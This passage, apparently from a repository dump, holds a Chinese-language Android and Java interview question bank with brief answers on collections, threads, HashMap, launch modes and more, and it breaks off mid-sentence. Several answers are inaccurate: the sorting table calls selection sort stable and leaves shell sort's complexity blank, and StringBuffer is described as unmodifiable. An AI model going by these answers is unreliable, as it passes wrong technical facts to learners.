面试那些事儿](https://zhuanlan.zhihu.com/p/21565914?refer=stormzhang)\n\n### 知乎讨论\n\n- [面试时, 问哪些问题能试出一个 Android 应用开发者真正的水平?](https://www.zhihu.com/question/19765032)\n- [我用个假简历去面试 android 的结果为什么会这样?](https://www.zhihu.com/question/38982159)\n- [怎么准备Android面试?](https://www.zhihu.com/question/37483907)\n\n### 互联网招聘平台\n\n- [拉勾-专注互联网职业机会](http://www.lagou.com/)\n- [简寻-让职位推荐更精准](https://jianxun.io/)\n- [100 offer-帮最好的互联网人发现更好的offer](https://100offer.com/)\n- [BOSS 直聘-互联网招聘神器](https://www.bosszhipin.com/home/#index)\n- [LinkedIn (领英)](https://www.linkedin.com/)\n- [哪上班](https://www.nashangban.com/)\n\n### 感谢\n\n非常感谢上面分享面试资料以及面试经验的前辈们!\n有前辈在前面带路, 我们后辈真心感到幸福.\n\n### 祝福\n\n最后祝正在找工作的的童鞋们, 马到成功, 心想事成, 事事如意!\n\n> 原文链接：G军仔，http://www.jianshu.com/p/d1efe2f31b6d"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/国内一线互联网公司内部面试题库.md",
    "content": "## 国内一线互联网公司内部面试题库\n\n以下面试题来自于百度、小米、乐视、美团、58、猎豹、360、新浪、搜狐内部题库\n\n熟悉本文中列出的知识点会大大增加通过前两轮技术面试的几率。\n\nGitHub：https://github.com/JackyAndroid/AndroidInterview-Q-A\n\nGitBook：https://www.gitbook.com/book/jackyandroid/androidinterview/details\n\n掘金: https://gold.xitu.io/user/562dc7cc60b20fc9817962a2\n\n## 目录\n* [java基础](#java)\n* [接口的意义-百度](#接口的意义-百度)\n* [抽象类的意义-乐视](#抽象类的意义-乐视)\n* [内部类的作用-乐视](#内部类的作用-乐视)\n* [父类的静态方法能否被子类重写-猎豹](#父类的静态方法能否被子类重写-猎豹)\n* [java排序算法-美团](#java排序算法-美团)\n* [列举java的集合和继承关系-百度-美团](#列举java的集合和继承关系-百度-美团)\n* [java虚拟机的特性-百度-乐视](#java虚拟机的特性-百度-乐视)\n* [哪些情况下的对象会被垃圾回收机制处理掉-美团-小米](#哪些情况下的对象会被垃圾回收机制处理掉-美团-小米)\n* [进程和线程的区别-猎豹-美团](#进程和线程的区别-猎豹-美团)\n* [==和equals和hashCode的区别-乐视](#java中==和equals和hashCode的区别-乐视)\n* [常见的排序算法时间复杂度-小米](#常见的排序算法时间复杂度-小米)\n* [HashMap的实现原理-美团](#HashMap的实现原理-美团)\n* [java状态机](#java状态机)\n* [int-char-long各占多少字节数](#int-char-long各占多少字节数)\n* [int与integer的区别](#int与integer的区别)\n* [string-stringbuffer-stringbuilder区别-小米-乐视-百度](#string-stringbuffer-stringbuilder区别-小米-乐视-百度)\n* [java多态-乐视](#java多态-乐视)\n* [什么导致线程阻塞-58-美团](#什么导致线程阻塞-58-美团)\n* [抽象类接口区别-360](#抽象类接口区别-360)\n* [容器类之间的区别-乐视-美团](#容器类之间的区别-乐视-美团)\n* [内部类](#内部类)\n* [hashmap和hashtable的区别-乐视-小米](#hashmap和hashtable的区别-乐视-小米)\n* [ArrayMap对比HashMap](#arraymap对比hashmap)\n* [安卓](#android)\n* [如何导入外部数据库](#如何导入外部数据库)\n* [本地广播和全局广播有什么差别](#本地广播和全局广播有什么差别)\n* [intentService作用是什么，AIDL解决了什么问题？-小米](#intentService作用是什么,AIDL解决了什么问题-小米)\n* [Activity,Window,View三者的差别，fragment的特点？-360](#Activity,Window,View三者的差别,fragment的特点-360)\n* [描述一次网络请求的流程-新浪](#描述一次网络请求的流程-新浪)\n* [Handler、Thread和HandlerThread的差别-小米](#Handler,Thread和HandlerThread的差别-小米)\n* [低版本SDK实现高版本api-小米](#低版本SDK实现高版本api-小米)\n* [Ubuntu编译安卓系统-百度](#Ubuntu编译安卓系统-百度)\n* [launch mode应用场景-百度-小米-乐视](#LaunchMode应用场景-百度-小米-乐视)\n* [Touch事件传递流程-小米](#Touch事件传递流程-小米)\n* [view绘制流程-百度](#View绘制流程-百度)\n* [多线程-360](#多线程-360)\n* [线程同步-百度](#线程同步-百度)\n* [什么情况导致内存泄漏-美团](#什么情况导致内存泄漏-美团)\n* [ANR定位和修正](#ANR定位和修正)\n* [什么情况导致oom-乐视-美团](#什么情况导致oom-乐视-美团)\n* [Android Service与Activity之间通信的几种方式](#Service与Activity之间通信的几种方式)\n* [Android各个版本API的区别](#Android各个版本API的区别)\n* [Android代码中实现WAP方式联网-360](#Android代码中实现WAP方式联网-360)\n* [如何保证service在后台不被kill](#如何保证service在后台不被Kill)\n* [Requestlayout，onlayout，onDraw，DrawChild区别与联系-猎豹](#Requestlayout,onlayout,onDraw,DrawChild区别与联系-猎豹)\n* [invalidate()和postInvalidate()的区别及使用-百度](#invalidate()和postInvalidate()的区别及使用-百度)\n* [Android动画框架实现原理](#Android动画框架实现原理)\n* [Android为每个应用程序分配的内存大小是多少？-美团](#Android为每个应用程序分配的内存大小是多少？-美团)\n* [Android View刷新机制-百度-美团](#View刷新机制-百度-美团)\n* [LinearLayout对比RelativeLayout-百度](#LinearLayout和RelativeLayout性能对比-百度)\n* [优化自定义view百度-乐视-小米](#优化自定义view百度-乐视-小米)\n* [ContentProvider-乐视](#ContentProvider-乐视)\n* [fragment生命周期](#Fragment生命周期)\n* [volley解析-美团-乐视](#volley解析-美团-乐视)\n* [Android Glide源码解析](Glide源码解析)\n* [Android 设计模式](#Android设计模式)\n* [架构设计-搜狐](#架构设计-搜狐)\n* [Android属性动画特性-乐视-小米](#Android属性动画特性-乐视-小米)\n* [专题](#专题)\n* [性能优化](#性能优化)\n* [架构分析](#架构分析)\n* [阿里巴巴](#阿里面试题)\n* [腾讯](#腾讯)\n\n## java\n\n#### 接口的意义-百度\n\n规范、扩展、回调、通知机制\n\n#### 抽象类的意义-乐视\n\n为其子类提供一个公共的类型，封装子类中得重复内容\n定义抽象方法，子类虽然有不同的实现 但是定义是一致的\n\n#### 内部类的作用-乐视\n\n1. 内部类可以用多个实例，每个实例都有自己的状态信息，并且与其他外围对象的信息相互独立\n2. 在单个外围类中，可以让多个内部类以不同的方式实现同一个接口，或者继承同一个类\n3. 创建内部类对象的时刻并不依赖于外围类对象的创建\n4. 内部类并没有令人迷惑的“is-a”关系，他就是一个独立的实体\n5. 内部类提供了更好的封装，除了该外围类，其他类都不能访问\n\n#### 父类的静态方法能否被子类重写-猎豹\n\n不能，子类继承父类后，用相同的静态方法和非静态方法，这时非静态方法覆盖父类中的方法（即方法重写），父类的该静态方法被隐藏（如果对象是父类则调用该隐藏的方法），另外子类可继承父类的静态与非静态方法，至于方法重载我觉得它其中一要素就是在同一类中，不能说父类中的什么方法与子类里的什么方法是方法重载的体现\n\n#### java排序算法-美团\n\nhttp://blog.csdn.net/qy1387/article/details/7752973\n\n#### 列举java的集合和继承关系-百度-美团\n\n![](img/collection.png)\n\n#### java虚拟机的特性-百度-乐视\n\nJava语言的一个非常重要的特点就是与平台的无关性。而使用Java虚拟机是实现这一特点的关键。一般的高级语言如果要在不同的平台上运行，至少需要编译成不同的目标代码。而引入Java语言虚拟机后，Java语言在不同平台上运行时不需要重新编译。Java语言使用模式Java虚拟机屏蔽了与具体平台相关的信息，使得Java语言编译程序只需生成在Java虚拟机上运行的目标代码（字节码），就可以在多种平台上不加修改地运行。Java虚拟机在执行字节码时，把字节码解释成具体平台上的机器指令执行。\n\n#### 哪些情况下的对象会被垃圾回收机制处理掉-美团-小米\n\nJava 垃圾回收机制最基本的做法是分代回收。内存中的区域被划分成不同的世代，对象根据其存活的时间被保存在对应世代的区域中。一般的实现是划分成3个世代：年轻、年老和永久。内存的分配是发生在年轻世代中的。当一个对象存活时间足够长的时候，它就会被复制到年老世代中。对于不同的世代可以使用不同的垃圾回收算法。进行世代划分的出发点是对应用中对象存活时间进行研究之后得出的统计规律。一般来说，一个应用中的大部分对象的存活时间都很短。比如局部变量的存活时间就只在方法的执行过程中。基于这一点，对于年轻世代的垃圾回收算法就可以很有针对性。\n\n#### 进程和线程的区别-猎豹-美团\n\n简而言之，一个程序至少有一个进程，一个进程至少有一个线程。\n\n线程的划分尺度小于进程，使得多线程程序的并发性高。\n\n另外，进程在执行过程中拥有独立的内存单元，而多个线程共享内存，从而极大地提高了程序的运行效率。\n\n线程在执行过程中与进程还是有区别的。每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行，必须依存在应用程序中，由应用程序提供多个线程执行控制。\n\n从逻辑角度来看，多线程的意义在于一个应用程序中，有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用，来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。\n\n进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动，进程是系统进行资源分配和调度的一个独立单位\n\n线程是进程的一个实体，是CPU调度和分派的基本单位，它是比进程更小的能独立运行的基本单位。线程自己基本上不拥有系统资源，只拥有一点在运行中必不可少的资源(如程序计数器，一组寄存器和栈)，但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源。\n\n一个线程可以创建和撤销另一个线程;同一个进程中的多个线程之间可以并发执行。\n\n进程和线程的主要差别在于它们是不同的操作系统资源管理方式。进程有独立的地址空间，一个进程崩溃后，在保护模式下不会对其它进程产生影响，而线程只是一个进程中的不同执行路径。线程有自己的堆栈和局部变量，但线程之间没有单独的地址空间，一个线程死掉就等于整个进程死掉，所以多进程的程序要比多线程的程序健壮，但在进程切换时，耗费资源较大，效率要差一些。但对于一些要求同时进行并且又要共享某些变量的并发操作，只能用线程，不能用进程。如果有兴趣深入的话，我建议你们看看《现代操作系统》或者《操作系统的设计与实现》。对就个问题说得比较清楚。\n\n#### java中==和equals和hashCode的区别-乐视\n\nhttp://blog.csdn.net/tiantiandjava/article/details/46988461\n\n#### 常见的排序算法时间复杂度-小米\n\n| 排序法   | 最差时间分析               | 平均时间复杂度              | 稳定度  | 空间复杂度                    |\n| :---- | :------------------- | :------------------- | :--- | :----------------------- |\n| 冒泡排序  | O(n<sup>2</sup>)     | O(n<sup>2</sup>)     | 稳定   | O(1)                     |\n| 快速排序  | O(n<sup>2</sup>)     | O(nlog<sub>2</sub>n) | 不稳定  | O(log<sub>2</sub>n)~O(n) |\n| 选择排序  | O(n<sup>2</sup>)     | O(n<sup>2</sup>)     | 稳定   | O(1)                     |\n| 二叉树排序 | O(n<sup>2</sup>)     | O(nlog2n)            | 不一顶  | O(n)                     |\n| 插入排序  | O(n<sup>2</sup>)     | O(n<sup>2</sup>)     | 稳定   | O(1)                     |\n| 堆排序   | O(nlog<sub>2</sub>n) | O(nlog<sub>2</sub>n) | 不稳定  | O(1)                     |\n| 希尔排序  | O                    | O                    | 不稳定  | O(1)                     |\n\n#### HashMap的实现原理-美团\n\n1.HashMap概述：\n\nHashMap是基于哈希表的Map接口的非同步实现。此实现提供所有可选的映射操作，并允许使用null值和null键。此类不保证映射的顺序，特别是它不保证该顺序恒久不变。\n\n2.HashMap的数据结构：\n\n在java编程语言中，最基本的结构就是两种，一个是数组，另外一个是模拟指针（引用），所有的数据结构都可以用这两个基本结构来构造的，HashMap也不例外。HashMap实际上是一个“链表散列”的数据结构，即数组和链表的结合体。\n\n![](img/hashmap.jpg)\n\n从上图中可以看出，HashMap底层就是一个数组结构，数组中的每一项又是一个链表。当新建一个HashMap的时候，就会初始化一个数组。\n\n#### 状态机\n\nhttp://www.jdon.com/designpatterns/designpattern_State.htm\n\n#### int-char-long各占多少字节数\n\n| 类      | 位数   | 字节数  |\n| ------ | :--- | :--- |\n| byte   | 8    | 1    |\n| short  | 16   | 2    |\n| int    | 32   | 4    |\n| long   | 64   | 8    |\n| float  | 32   | 4    |\n| double | 64   | 8    |\n| char   | 16   | 2    |\n\n#### int与integer的区别\n\nhttp://www.cnblogs.com/shenliang123/archive/2011/10/27/2226903.html\n\n#### string-stringbuffer-stringbuilder区别-小米-乐视-百度\n\nString 字符串常量\n\nStringBuffer 字符串变量（线程安全）\n\nStringBuilder 字符串变量（非线程安全）\n\n简要的说， String 类型和 StringBuffer 类型的主要性能区别其实在于 String 是不可变的对象， 因此在每次对 String 类型进行改变的时候其实都等同于生成了一个新的 String 对象，然后将指针指向新的 String 对象，所以经常改变内容的字符串最好不要用String ，因为每次生成对象都会对系统性能产生影响，特别当内存中无引用对象多了以后，JVM 的 GC 就会开始工作，那速度是一定会相当慢的。\n\n而如果是使用 StringBuffer 类则结果就不一样了，每次结果都会对 StringBuffer 对象本身进行操作，而不是生成新的对象，再改变对象引用。所以在一般情况下我们推荐使用 StringBuffer ，特别是字符串对象经常改变的情况下。而在某些特别情况下， String 对象的字符串拼接其实是被 JVM 解释成了 StringBuffer 对象的拼接，所以这些时候 String 对象的速度并不会比 StringBuffer 对象慢，而特别是以下的字符串对象生成中， String 效率是远要比 StringBuffer 快的：\n\n```java\nString S1 = \"This is only a\" + \"simple\" + \" test\";\nStringBuffer Sb = new StringBuffer(\"This is only a\").append(\"simple\").append(\"test\");\n```\n\n你会很惊讶的发现，生成 String S1 对象的速度简直太快了，而这个时候 StringBuffer 居然速度上根本一点都不占优势。其实这是 JVM 的一个把戏，在 JVM 眼里，这个\n `String S1 = “This is only a” + “ simple” + “test”;` 其实就是：\n `String S1 = “This is only a simple test”;` 所以当然不需要太多的时间了。但大家这里要注意的是，如果你的字符串是来自另外的 String 对象的话，速度就没那么快了，譬如：\n\n```java\nString S2 = “This is only a”;\nString S3 = “ simple”;\nString S4 = “ test”;\nString S1 = S2 +S3 + S4;\n```\n\n这时候 JVM 会规规矩矩的按照原来的方式去做\n\n在大部分情况下 StringBuffer 快于 String\n\nStringBuffer\n\nJava.lang.StringBuffer线程安全的可变字符序列。一个类似于 String 的字符串缓冲区，但不能修改。虽然在任意时间点上它都包含某种特定的字符序列，但通过某些方法调用可以改变该序列的长度和内容。\n\n可将字符串缓冲区安全地用于多个线程。可以在必要时对这些方法进行同步，因此任意特定实例上的所有操作就好像是以串行顺序发生的，该顺序与所涉及的每个线程进行的方法调用顺序一致。\n\nStringBuffer 上的主要操作是 append 和 insert 方法，可重载这些方法，以接受任意类型的数据。每个方法都能有效地将给定的数据转换成字符串，然后将该字符串的字符追加或插入到字符串缓冲区中。append 方法始终将这些字符添加到缓冲区的末端；而 insert 方法则在指定的点添加字符。\n\n例如，如果 z 引用一个当前内容是“start”的字符串缓冲区对象，则此方法调用 z.append(\"le\") 会使字符串缓冲区包含“startle”，而 z.insert(4, \"le\") 将更改字符串缓冲区，使之包含“starlet”。\n\n在大部分情况下 StringBuilder 快于 StringBuffer\n\njava.lang.StringBuilder\n\njava.lang.StringBuilder一个可变的字符序列是5.0新增的。此类提供一个与 StringBuffer 兼容的 API，但不保证同步。该类被设计用作 StringBuffer 的一个简易替换，用在字符串缓冲区被单个线程使用的时候（这种情况很普遍）。如果可能，建议优先采用该类，因为在大多数实现中，它比 StringBuffer 要快。两者的方法基本相同\n\n#### java多态-乐视\n\nJava多态性理解\n\nJava中多态性的实现\n\n什么是多态\n\n面向对象的三大特性：封装、继承、多态。从一定角度来看，封装和继承几乎都是为多态而准备的。这是我们最后一个概念，也是最重要的知识点。\n\n多态的定义：指允许不同类的对象对同一消息做出响应。即同一消息可以根据发送对象的不同而采用多种不同的行为方式。（发送消息就是函数调用）\n\n实现多态的技术称为：动态绑定（dynamic binding），是指在执行期间判断所引用对象的实\n际类型，根据其实际的类型调用其相应的方法。\n\n多态的作用：消除类型之间的耦合关系。\n\n现实中，关于多态的例子不胜枚举。比方说按下 F1 键这个动作，如果当前在 Flash 界面下弹出的就是 AS 3 的帮助文档；如果当前在 Word 下弹出的就是 Word 帮助；在 Windows 下弹出的就是 Windows 帮助和支持。同一个事件发生在不同的对象上会产生不同的结果。\n\n下面是多态存在的三个必要条件，要求大家做梦时都能背出来！\n\n多态存在的三个必要条件\n\n- 要有继承\n\n- 要有重写\n\n- 父类引用指向子类对象\n\n多态的好处：\n\n1.可替换性（substitutability）。多态对已存在代码具有可替换性。例如，多态对圆Circle类工作，对其他任何圆形几何体，如圆环，也同样工作。\n\n2.可扩充性（extensibility）。多态对代码具有可扩充性。增加新的子类不影响已存在类的多态性、继承性，以及其他特性的运行和操作。实际上新加子类更容易获得多态功能。例如，在实现了圆锥、半圆锥以及半球体的多态基础上，很容易增添球体类的多态性。\n\n3.接口性（interface-ability）。多态是超类通过方法签名，向子类提供了一个共同接口，由子类来完善或者覆盖它而实现的。如图8.3 所示。图中超类Shape规定了两个实现多态的接口方法，computeArea()以及computeVolume()。子类，如Circle和Sphere为了实现多态，完善或者覆盖这两个接口方法。\n\n4.灵活性（flexibility）。它在应用中体现了灵活多样的操作，提高了使用效率。\n\n5.简化性（simplicity）。多态简化对应用软件的代码编写和修改过程，尤其在处理大量对象的运算和操作时，这个特点尤为突出和重要。\n\nJava中多态的实现方式：接口实现，继承父类进行方法重写，同一个类中进行方法重载。\n\n#### 什么导致线程阻塞-58-美团\n\n线程的阻塞\n\n为了解决对共享存储区的访问冲突，Java 引入了同步机制，现在让我们来考察多个线程对共享资源的访问，显然同步机制已经不够了，因为在任意时刻所要求的资源不一定已经准备好了被访问，反过来，同一时刻准备好了的资源也可能不止一个。为了解决这种情况下的访问控制问题，Java 引入了对阻塞机制的支持\n\n阻塞指的是暂停一个线程的执行以等待某个条件发生（如某资源就绪），学过操作系统的同学对它一定已经很熟悉了。Java 提供了大量方法来支持阻塞，下面让我们逐一分析。\n\n1.sleep() 方法：sleep() 允许 指定以毫秒为单位的一段时间作为参数，它使得线程在指定的时间内进入阻塞状态，不能得到CPU时间，指定的时间一过，线程重新进入可执行状态。\n\n典型地，sleep() 被用在等待某个资源就绪的情形：测试发现条件不满足后，让线程阻塞一段时间后重新测试，直到条件满足为止。\n\n2.suspend() 和 resume() 方法：两个方法配套使用，suspend()使得线程进入阻塞状态，并且不会自动恢复，必须其对应的resume() 被调用，才能使得线程重新进入可执行状态。典型地，suspend() 和 resume() 被用在等待另一个线程产生的结果的情形：测试发现结果还没有产生后，让线程阻塞，另一个线程产生了结果后，调用 resume() 使其恢复。\n\n3.yield() 方法：yield() 使得线程放弃当前分得的 CPU 时间，但是不使线程阻塞，即线程仍处于可执行状态，随时可能再次分得 CPU 时间。调用 yield() 的效果等价于调度程序认为该线程已执行了足够的时间从而转到另一个线程.\n\n4.wait() 和 notify() 方法：两个方法配套使用，wait() 使得线程进入阻塞状态，它有两种形式，一种允许 指定以毫秒为单位的一段时间作为参数，另一种没有参数，前者当对应的 notify() 被调用或者超出指定时间时线程重新进入可执行状态，后者则必须对应的 notify() 被调用.\n\n初看起来它们与 suspend() 和 resume() 方法对没有什么分别，但是事实上它们是截然不同的。区别的核心在于，前面叙述的所有方法，阻塞时都不会释放占用的锁（如果占用了的话），而这一对方法则相反。\n\n上述的核心区别导致了一系列的细节上的区别。\n\n首先，前面叙述的所有方法都隶属于 Thread 类，但是这一对却直接隶属于 Object 类，也就是说，所有对象都拥有这一对方法。初看起来这十分不可思议，但是实际上却是很自然的，因为这一对方法阻塞时要释放占用的锁，而锁是任何对象都具有的，调用任意对象的 wait() 方法导致线程阻塞，并且该对象上的锁被释放。而调用 任意对象的notify()方法则导致因调用该对象的 wait() 方法而阻塞的线程中随机选择的一个解除阻塞（但要等到获得锁后才真正可执行）。\n\n其次，前面叙述的所有方法都可在任何位置调用，但是这一对方法却必须在 synchronized 方法或块中调用，理由也很简单，只有在synchronized 方法或块中当前线程才占有锁，才有锁可以释放。同样的道理，调用这一对方法的对象上的锁必须为当前线程所拥有，这样才有锁可以释放。因此，这一对方法调用必须放置在这样的 synchronized 方法或块中，该方法或块的上锁对象就是调用这一对方法的对象。若不满足这一条件，则程序虽然仍能编译，但在运行时会出现IllegalMonitorStateException 异常。\n\nwait() 和 notify() 方法的上述特性决定了它们经常和synchronized 方法或块一起使用，将它们和操作系统的进程间通信机制作一个比较就会发现它们的相似性：synchronized方法或块提供了类似于操作系统原语的功能，它们的执行不会受到多线程机制的干扰，而这一对方法则相当于 block 和wakeup 原语（这一对方法均声明为 synchronized）。它们的结合使得我们可以实现操作系统上一系列精妙的进程间通信的算法（如信号量算法），并用于解决各种复杂的线程间通信问题。\n\n关于 wait() 和 notify() 方法最后再说明两点：\n\n第一：调用 notify() 方法导致解除阻塞的线程是从因调用该对象的 wait() 方法而阻塞的线程中随机选取的，我们无法预料哪一个线程将会被选择，所以编程时要特别小心，避免因这种不确定性而产生问题。\n\n第二：除了 notify()，还有一个方法 notifyAll() 也可起到类似作用，唯一的区别在于，调用 notifyAll() 方法将把因调用该对象的 wait() 方法而阻塞的所有线程一次性全部解除阻塞。当然，只有获得锁的那一个线程才能进入可执行状态。\n\n谈到阻塞，就不能不谈一谈死锁，略一分析就能发现，suspend() 方法和不指定超时期限的 wait() 方法的调用都可能产生死锁。遗憾的是，Java 并不在语言级别上支持死锁的避免，我们在编程中必须小心地避免死锁。\n\n以上我们对 Java 中实现线程阻塞的各种方法作了一番分析，我们重点分析了 wait() 和 notify() 方法，因为它们的功能最强大，使用也最灵活，但是这也导致了它们的效率较低，较容易出错。实际使用中我们应该灵活使用各种方法，以便更好地达到我们的目的。\n\n#### 抽象类接口区别-360\n\n1.默认的方法实现\n\n抽象类可以有默认的方法实现完全是抽象的。接口根本不存在方法的实现\n\n2.实现\n\n子类使用extends关键字来继承抽象类。如果子类不是抽象类的话，它需要提供抽象类中所有声明的方法的实现。\n\n子类使用关键字implements来实现接口。它需要提供接口中所有声明的方法的实现\n\n3.构造器\n\n抽象类可以有构造器\n\n接口不能有构造器\n\n4.与正常Java类的区别\n\n除了你不能实例化抽象类之外，它和普通Java类没有任何区\n\n接口是完全不同的类型\n\n5.访问修饰符\n\n抽象方法可以有public、protected和default这些修饰符\n\n接口方法默认修饰符是public。你不可以使用其它修饰符。\n\n6.main方法\n\n抽象方法可以有main方法并且我们可以运行它\n\n接口没有main方法，因此我们不能运行它。\n\n7.多继承\n\n抽象类在java语言中所表示的是一种继承关系，一个子类只能存在一个父类，但是可以存在多个接口。\n\n8.速度\n\n它比接口速度要快\n\n接口是稍微有点慢的，因为它需要时间去寻找在类中实现的方法。\n\n9.添加新方法\n\n如果你往抽象类中添加新的方法，你可以给它提供默认的实现。因此你不需要改变你现在的代码。\n\n如果你往接口中添加方法，那么你必须改变实现该接口的类。\n\n#### 容器类之间的区别-乐视-美团\n\nhttp://www.cnblogs.com/yuanermen/archive/2009/08/05/1539917.html\nhttp://alexyyek.github.io/2015/04/06/Collection\nhttp://tianmaying.com/tutorial/java_collection\n\n#### 内部类\n\nhttp://www.cnblogs.com/chenssy/p/3388487.html\n\n#### hashmap和hashtable的区别-乐视-小米\n\nhttp://www.233.com/ncre2/JAVA/jichu/20100717/084230917.html\n\n#### ArrayMap对比HashMap\n\nhttp://lvable.com/?p=217\n\n## Android\n\n#### 如何导入外部数据库\n\n把原数据库包括在项目源码的 res/raw\n\nandroid系统下数据库应该存放在 /data/data/packagename/ 目录下，所以我们需要做的是把已有的数据库传入那个目录下.操作方法是用FileInputStream读取原数据库，再用FileOutputStream把读取到的东西写入到那个目录.\n\n#### 本地广播和全局广播有什么差别\n\n因广播数据在本应用范围内传播，不用担心隐私数据泄露的问题。\n不用担心别的应用伪造广播，造成安全隐患。\n相比在系统内发送全局广播，它更高效。\n\n#### intentService作用是什么，AIDL解决了什么问题-小米\n\n生成一个默认的且与主线程互相独立的工作者线程来执行所有传送至onStartCommand() 方法的Intetnt。\n\n生成一个工作队列来传送Intent对象给你的onHandleIntent()方法，同一时刻只传送一个Intent对象，这样一来，你就不必担心多线程的问题。在所有的请求(Intent)都被执行完以后会自动停止服务，所以，你不需要自己去调用stopSelf()方法来停止。\n\n该服务提供了一个onBind()方法的默认实现，它返回null\n\n提供了一个onStartCommand()方法的默认实现，它将Intent先传送至工作队列，然后从工作队列中每次取出一个传送至onHandleIntent()方法，在该方法中对Intent对相应的处理。\n\nAIDL (Android Interface Definition Language) 是一种IDL 语言，用于生成可以在Android设备上两个进程之间进行进程间通信(interprocess communication， IPC)的代码。如果在一个进程中（例如Activity）要调用另一个进程中（例如Service）对象的操作，就可以使用AIDL生成可序列化的参数。\n\nAIDL IPC机制是面向接口的，像COM或Corba一样，但是更加轻量级。它是使用代理类在客户端和实现端传递数据。\n\n#### Activity/Window/View三者的差别，fragment的特点-360\n\nActivity像一个工匠（控制单元），Window像窗户（承载模型），View像窗花（显示视图）\nLayoutInflater像剪刀，Xml配置像窗花图纸。\n\n1. 在Activity中调用attach，创建了一个Window\n2. 创建的window是其子类PhoneWindow，在attach中创建PhoneWindow\n3. 在Activity中调用setContentView(R.layout.xxx)\n4. 其中实际上是调用的getWindow().setContentView()\n5. 调用PhoneWindow中的setContentView方法\n6. 创建ParentView：作为ViewGroup的子类，实际是创建的DecorView(作为FramLayout的子类）\n7. 将指定的R.layout.xxx进行填充，通过布局填充器进行填充[其中的parent指的就是DecorView]\n8. 调用到ViewGroup\n9. 调用ViewGroup的removeAllView()，先将所有的view移除掉\n10. 添加新的view：addView()\n\nfragment 特点\n\n- Fragment可以作为Activity界面的一部分组成出现\n- 可以在一个Activity中同时出现多个Fragment，并且一个Fragment也可以在多个Activity中使用\n- 在Activity运行过程中，可以添加、移除或者替换Fragment\n- Fragment可以响应自己的输入事件，并且有自己的生命周期，它们的生命周期会受宿主Activity的生命周期影响\n\n#### 描述一次网络请求的流程-新浪\n\n![](img/http.jpg)\n\n#### Handler，Thread和HandlerThread的差别-小米\n\nhttp://blog.csdn.net/guolin_blog/article/details/9991569\n\nhttp://droidyue.com/blog/2015/11/08/make-use-of-handlerthread/\n\n从Android中Thread（java.lang.Thread → java.lang.Object）描述可以看出，Android的Thread没有对Java的Thread做任何封装，但是Android提供了一个继承自Thread的类HandlerThread（android.os.HandlerThread → java.lang.Thread），这个类对Java的Thread做了很多便利Android系统的封装。\n\nandroid.os.Handler可以通过Looper对象实例化，并运行于另外的线程中，Android提供了让Handler运行于其它线程的线程实现，也是就HandlerThread。HandlerThread对象start后可以获得其Looper对象，并且使用这个Looper对象实例Handler。\n\n#### 低版本SDK实现高版本api-小米\n\n自己实现或@TargetApi annotation\n\n#### Ubuntu编译安卓系统-百度\n\n1. 进入源码根目录\n2. build/envsetup.sh\n3. lunch\n4. full(编译全部)\n5. userdebug(选择编译版本)\n6. make -j8(开启8个线程编译)\n\n#### LaunchMode应用场景-百度-小米-乐视\n\nstandard，创建一个新的Activity。\n\nsingleTop，栈顶不是该类型的Activity，创建一个新的Activity。否则，onNewIntent。\n\nsingleTask，回退栈中没有该类型的Activity，创建Activity，否则，onNewIntent+ClearTop。\n\n注意:\n\n1. 设置了singleTask启动模式的Activity，它在启动的时候，会先在系统中查找属性值affinity等于它的属性值taskAffinity的Task存在； 如果存在这样的Task，它就会在这个Task中启动，否则就会在新的任务栈中启动。因此， 如果我们想要设置了singleTask启动模式的Activity在新的任务中启动，就要为它设置一个独立的taskAffinity属性值。\n\n2. 如果设置了singleTask启动模式的Activity不是在新的任务中启动时，它会在已有的任务中查看是否已经存在相应的Activity实例， 如果存在，就会把位于这个Activity实例上面的Activity全部结束掉，即最终这个Activity 实例会位于任务的Stack顶端中。\n\n3. 在一个任务栈中只有一个singleTask启动模式的Activity存在。他的上面可以有其他的Activity。这点与singleInstance是有区别的。\n\nsingleInstance，回退栈中，只有这一个Activity，没有其他Activity。\n\nsingleTop适合接收通知启动的内容显示页面。\n\n例如，某个新闻客户端的新闻内容页面，如果收到10个新闻推送，每次都打开一个新闻内容页面是很烦人的。\n\nsingleTask适合作为程序入口点。\n\n例如浏览器的主界面。不管从多少个应用启动浏览器，只会启动主界面一次，其余情况都会走onNewIntent，并且会清空主界面上面的其他页面。\n\nsingleInstance应用场景：\n\n闹铃的响铃界面。 你以前设置了一个闹铃：上午6点。在上午5点58分，你启动了闹铃设置界面，并按 Home 键回桌面；在上午5点59分时，你在微信和朋友聊天；在6点时，闹铃响了，并且弹出了一个对话框形式的 Activity(名为 AlarmAlertActivity) 提示你到6点了(这个 Activity 就是以 SingleInstance 加载模式打开的)，你按返回键，回到的是微信的聊天界面，这是因为 AlarmAlertActivity 所在的 Task 的栈只有他一个元素， 因此退出之后这个 Task 的栈空了。如果是以 SingleTask 打开 AlarmAlertActivity，那么当闹铃响了的时候，按返回键应该进入闹铃设置界面。\n\n#### Touch事件传递流程-小米\n\n[Android-三张图搞定Touch事件传递机制](http://hanhailong.com/2015/09/24/Android-三张图搞定Touch事件传递机制/)\n\n#### View绘制流程-百度\n\n[公共技术点之 View 绘制流程](http://www.codekk.com/blogs/detail/54cfab086c4761e5001b253f)\n\n#### 多线程-360\n\n* Activity.runOnUiThread(Runnable)\n* View.post(Runnable)，View.postDelay(Runnable,long)\n* Handler\n* AsyncTask\n\n#### 线程同步-百度\n\n[Java基础笔记 – 线程同步问题 解决同步问题的方法 synchronized方法 同步代码块](http://www.itzhai.com/java-based-notebook-thread-synchronization-problem-solving-synchronization-problems-synchronized-block-synchronized-methods.html#read-more)\n\n[Android线程间交互（Java synchronized & Android Handler）](http://www.juwends.com/tech/android/android-inter-thread-comm.html)\n\n单例\n\n```java\npublic class Singleton{\nprivate volatile static Singleton mSingleton;\nprivate Singleton(){\n}\npublic static Singleton getInstance(){\n  if(mSingleton == null){\\\\A\n    synchronized(Singleton.class){\\\\C\n     if(mSingleton == null)\n      mSingleton = new Singleton();\\\\B\n      }\n    }\n    return mSingleton;\n  }\n}\n```\n\n#### 什么情况导致内存泄漏-美团\n\n1.资源对象没关闭造成的内存泄漏\n\n描述：资源性对象比如(Cursor，File文件等)往往都用了一些缓冲，我们在不使用的时候，应该及时关闭它们，以便它们的缓冲及时回收内存。它们的缓冲不仅存在于 